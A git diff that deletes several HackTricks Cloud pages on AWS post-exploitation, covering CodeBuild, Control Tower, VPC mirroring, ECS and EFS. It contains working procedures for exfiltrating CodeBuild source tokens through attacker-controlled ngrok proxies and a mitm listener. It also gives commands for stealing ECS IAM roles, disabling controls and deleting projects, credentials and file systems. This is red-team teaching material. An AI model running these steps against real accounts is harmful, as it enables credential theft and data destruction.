-### Leaking Access Tokens from AWS CodeBuild
-
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
-
-```bash
-aws codebuild list-source-credentials
-```
-
-{% content-ref url="aws-codebuild-token-leakage.md" %}
-[aws-codebuild-token-leakage.md](aws-codebuild-token-leakage.md)
-{% endcontent-ref %}
-
-### `codebuild:DeleteProject`
-
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
-```bash
-aws codebuild delete-project --name <value>
-```
-
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
-
-### `codebuild:TagResource` , `codebuild:UntagResource`
-
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
-```bash
-aws codebuild tag-resource --resource-arn <value> --tags <value>
-aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
-```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
-
-### `codebuild:DeleteSourceCredentials`
-
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
-```sql
-aws codebuild delete-source-credentials --arn <value>
-```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
deleted file mode 100644
index 51a05bbb1..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ /dev/null
@@ -1,222 +0,0 @@
-# AWS Codebuild - Token Leakage
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
-
-```bash
-aws codebuild list-source-credentials
-```
-
-### Via Docker Image
-
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
-
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
-
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
-
-1. **Create & Upload your own Docker MitM image**
-   * Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
-     * **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
-   * You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
-   * Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
-   * Create a **new Codebuild project** or **modify** the environment of an existing one.
-   * Set the project to use the **previously generated Docker image**
-
-<figure><img src="../../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
-
-3. **Set the MitM proxy in your host**
-
-* As indicated in the **Github repo** you could use something like:
-
-```bash
-mitmproxy --listen-port 4444  --allow-hosts "github.com"
-```
-
-{% hint style="success" %}
-The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
-{% endhint %}
-
-4. **Run the build & capture the credentials**
-
-*   You can see the token in the **Authorization** header:
-
-    <figure><img src="../../../../.gitbook/assets/image (273).png" alt=""><figcaption></figcaption></figure>
-
-This could also be done from the aws cli with something like
-
-{% code overflow="wrap" %}
-```bash
-# Create project using a Github connection
-aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
-
-## With /tmp/buildspec.json
-{
-    "name": "my-demo-project",
-    "source": {
-        "type": "GITHUB",
-        "location": "https://github.com/uname/repo",
-        "buildspec": "buildspec.yml"
-    },
-    "artifacts": {
-        "type": "NO_ARTIFACTS"
-    },
-    "environment": {
-        "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
-        "image": "docker.io/carlospolop/docker-mitm:v12",
-        "computeType": "BUILD_GENERAL1_SMALL",
-        "imagePullCredentialsType": "CODEBUILD"
-    }
-}
-
-## Json
-
-# Start the build
-aws codebuild start-build --project-name my-project2
-```
-{% endcode %}
-
-### Via insecureSSL
-
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
-
-* First you need to enumerate the current configuration with something like:
-
-```bash
-aws codebuild batch-get-projects --name <proj-name>
-```
-
-* Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
-  * Moreover, add also the env variables **http\_proxy** and **https\_proxy** pointing to your tcp ngrok like:
-
-{% code overflow="wrap" %}
-```bash
-aws codebuild update-project --name <proj-name> \
-    --source '{
-        "type": "GITHUB",
-        "location": "https://github.com/carlospolop/404checker",
-        "gitCloneDepth": 1,
-        "gitSubmodulesConfig": {
-            "fetchSubmodules": false
-        },
-        "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
-        "auth": {
-            "type": "CODECONNECTIONS",
-            "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
-        },
-        "reportBuildStatus": false,
-        "insecureSsl": true
-    }' \
-    --environment '{
-        "type": "LINUX_CONTAINER",
-        "image": "aws/codebuild/standard:5.0",
-        "computeType": "BUILD_GENERAL1_SMALL",
-        "environmentVariables": [
-            {
-                "name": "http_proxy",
-                "value": "http://2.tcp.eu.ngrok.io:15027"
-            },
-            {
-                "name": "https_proxy",
-                "value": "http://2.tcp.eu.ngrok.io:15027"
-            }
-        ]
-    }'
-```
-{% endcode %}
-
-* Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http\_proxy and https\_proxy)
-
-```python
-from mitm import MITM, protocol, middleware, crypto
-
-mitm = MITM(
-    host="0.0.0.0",
-    port=4444,
-    protocols=[protocol.HTTP], 
-    middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
-    certificate_authority = crypto.CertificateAuthority()
-)
-mitm.run()
-```
-
-* Next, click on **Build the project** or start the build from command line:
-
-```sh
-aws codebuild start-build --project-name <proj-name>
-```
-
-* Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
-
-<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
-
-### ~~Via HTTP protocol~~
-
-{% hint style="success" %}
-**This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
-{% endhint %}
-
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
-
-* An attacker could add the environment variables **http\_proxy** and **https\_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
-
-<figure><img src="../../../../.gitbook/assets/image (232).png" alt=""><figcaption></figcaption></figure>
-
-<figure><img src="../../../../.gitbook/assets/image (213).png" alt=""><figcaption></figcaption></figure>
-
-* Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-* Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http\_proxy and https\_proxy)
-
-```python
-from mitm import MITM, protocol, middleware, crypto
-
-mitm = MITM(
-    host="127.0.0.1",
-    port=4444,
-    protocols=[protocol.HTTP], 
-    middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
-    certificate_authority = crypto.CertificateAuthority()
-)
-mitm.run()
-```
-
-* Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
-
-<figure><img src="../../../../.gitbook/assets/image (159).png" alt=""><figcaption></figcaption></figure>
-
-{% hint style="warning" %}
-Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
deleted file mode 100644
index 1fa4d4d49..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# AWS - Control Tower Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Control Tower
-
-{% content-ref url="../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md" %}
-[aws-control-tower-enum.md](../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md)
-{% endcontent-ref %}
-
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
-
-{% code overflow="wrap" %}
-```bash
-aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
deleted file mode 100644
index 51e033417..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# AWS - Malicious VPC Mirror
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
-
-Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**.
-
-To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts.
-
-The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible.
-
-For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
deleted file mode 100644
index 096bdaea6..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ /dev/null
@@ -1,88 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## ECS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ecs-enum.md" %}
-[aws-ecs-enum.md](../aws-services/aws-ecs-enum.md)
-{% endcontent-ref %}
-
-### Host IAM Roles
-
-In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
-Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
-
-{% hint style="danger" %}
-Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
-{% endhint %}
-
-### Privesc to node to steal other containers creds & secrets
-
-But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
-
-#### Making containers run in current host
-
-Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
-
-```bash
-aws ecs update-container-instances-state \
-    --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-
-The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
-
-```bash
-aws ecs deregister-container-instance \
-    --cluster <cluster> --container-instance <container-instance-id> --force
-```
-
-A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
-
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
-    --status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-
-### Steal sensitive info from ECR containers
-
-The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
deleted file mode 100644
index 1a78c9dd2..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ /dev/null
@@ -1,80 +0,0 @@
-# AWS - EFS Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EFS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-efs-enum.md" %}
-[aws-efs-enum.md](../aws-services/aws-efs-enum.md)
-{% endcontent-ref %}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target.
-
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-
-**Potential Impact**: Disruption of file system access and potential data loss for users or applications.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system.
-
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-
-**Potential Impact**: Data loss and service disruption for applications using the deleted file system.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion.
-
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-
-**Potential Impact**: Degradation of file system performance or resource exhaustion.
-
-### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
-
-An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system.
-
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-
-**Potential Impact**: Unauthorized access to the file system, data exposure or modification.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
deleted file mode 100644
index 4856870bc..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ /dev/null
@@ -1,121 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Elastic Beanstalk
-
-For more information:
-
-{% content-ref url="../aws-services/aws-elastic-beanstalk-enum.md" %}
